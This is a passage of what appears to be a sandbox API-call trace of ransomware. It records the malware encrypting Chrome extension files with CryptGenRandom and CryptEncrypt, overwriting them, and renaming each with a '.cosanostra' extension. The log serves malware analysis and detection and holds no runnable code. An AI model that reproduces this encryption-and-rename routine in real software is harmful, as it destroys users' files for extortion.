lpNumberOfBytesWritten=0x28dfc0c, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc0c*=0x3ec, lpOverlapped=0x0) returned 1 [0085.341] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.341] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc0c, lpOverlapped=0x0 | out: lpBuffer=0x28dfc4c*, lpNumberOfBytesWritten=0x28dfc0c*=0x4, lpOverlapped=0x0) returned 1 [0085.341] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc0c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc0c*=0x30, lpOverlapped=0x0) returned 1 [0085.341] CloseHandle (hObject=0x188) returned 1 [0085.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.cosanostra")) returned 1 [0085.346] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc40 | out: pbBuffer=0x28dfc40) returned 1 [0085.346] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc38*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc38*=0x30) returned 1 [0085.346] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.346] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 160 [0085.346] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.347] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.347] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbfc, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbfc*=0xb3, lpOverlapped=0x0) returned 1 [0085.347] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.347] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbfc, lpOverlapped=0x0 | out: lpBuffer=0x28dfc3c*, lpNumberOfBytesWritten=0x28dfbfc*=0x4, lpOverlapped=0x0) returned 1 [0085.347] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbfc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbfc*=0x30, lpOverlapped=0x0) returned 1 [0085.347] CloseHandle (hObject=0x188) returned 1 [0085.348] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0085.349] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc38 | out: pbBuffer=0x28dfc38) returned 1 [0085.350] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc30*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc30*=0x30) returned 1 [0085.350] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.350] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 160 [0085.350] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.351] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.351] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbf4, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbf4*=0xb3, lpOverlapped=0x0) returned 1 [0085.351] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.351] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbf4, lpOverlapped=0x0 | out: lpBuffer=0x28dfc34*, lpNumberOfBytesWritten=0x28dfbf4*=0x4, lpOverlapped=0x0) returned 1 [0085.352] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbf4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbf4*=0x30, lpOverlapped=0x0) returned 1 [0085.352] CloseHandle (hObject=0x188) returned 1 [0085.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json.cosanostra")) returned 1 [0085.354] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc30 | out: pbBuffer=0x28dfc30) returned 1 [0085.354] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc28*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc28*=0x30) returned 1 [0085.354] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.354] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 157 [0085.354] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.355] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.355] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbec, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbec*=0xb3, lpOverlapped=0x0) returned 1 [0085.355] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.356] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbec, lpOverlapped=0x0 | out: lpBuffer=0x28dfc2c*, lpNumberOfBytesWritten=0x28dfbec*=0x4, lpOverlapped=0x0) returned 1 [0085.356] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbec*=0x30, lpOverlapped=0x0) returned 1 [0085.356] CloseHandle (hObject=0x188) returned 1 [0085.356] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0085.358] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc28 | out: pbBuffer=0x28dfc28) returned 1 [0085.358] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc20*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc20*=0x30) returned 1 [0085.358] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.358] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 157 [0085.358] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.359] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.359] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbe4, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbe4*=0xb3, lpOverlapped=0x0) returned 1 [0085.359] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.359] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbe4, lpOverlapped=0x0 | out: lpBuffer=0x28dfc24*, lpNumberOfBytesWritten=0x28dfbe4*=0x4, lpOverlapped=0x0) returned 1 [0085.359] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbe4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbe4*=0x30, lpOverlapped=0x0) returned 1 [0085.359] CloseHandle (hObject=0x188) returned 1 [0085.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0085.362] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc20 | out: pbBuffer=0x28dfc20) returned 1 [0085.362] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc18*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc18*=0x30) returned 1 [0085.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.362] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 157 [0085.362] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.363] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.363] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbdc, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbdc*=0xb3, lpOverlapped=0x0) returned 1 [0085.364] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.364] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbdc, lpOverlapped=0x0 | out: lpBuffer=0x28dfc1c*, lpNumberOfBytesWritten=0x28dfbdc*=0x4, lpOverlapped=0x0) returned 1 [0085.364] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbdc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbdc*=0x30, lpOverlapped=0x0) returned 1 [0085.364] CloseHandle (hObject=0x188) returned 1 [0085.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0085.366] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc18 | out: pbBuffer=0x28dfc18) returned 1 [0085.366] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc10*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc10*=0x30) returned 1 [0085.366] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.367] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 157 [0085.367] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.368] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.368] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbd4, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbd4*=0xb3, lpOverlapped=0x0) returned 1 [0085.368] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.368] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbd4, lpOverlapped=0x0 | out: lpBuffer=0x28dfc14*, lpNumberOfBytesWritten=0x28dfbd4*=0x4, lpOverlapped=0x0) returned 1 [0085.368] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbd4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbd4*=0x30, lpOverlapped=0x0) returned 1 [0085.368] CloseHandle (hObject=0x188) returned 1 [0085.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0085.370] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc10 | out: pbBuffer=0x28dfc10) returned 1 [0085.370] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc08*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc08*=0x30) returned 1 [0085.370] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.371] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 157 [0085.371] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.371] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.371] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbcc*=0xb3, lpOverlapped=0x0) returned 1 [0085.372] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.372] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x28dfc0c*, lpNumberOfBytesWritten=0x28dfbcc*=0x4, lpOverlapped=0x0) returned 1 [0085.372] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbcc*=0x30, lpOverlapped=0x0) returned 1 [0085.372] CloseHandle (hObject=0x188) returned 1 [0085.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.cosanostra")) returned 1 [0085.373] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc08 | out: pbBuffer=0x28dfc08) returned 1 [0085.374] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc00*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc00*=0x30) returned 1 [0085.374] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.374] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS 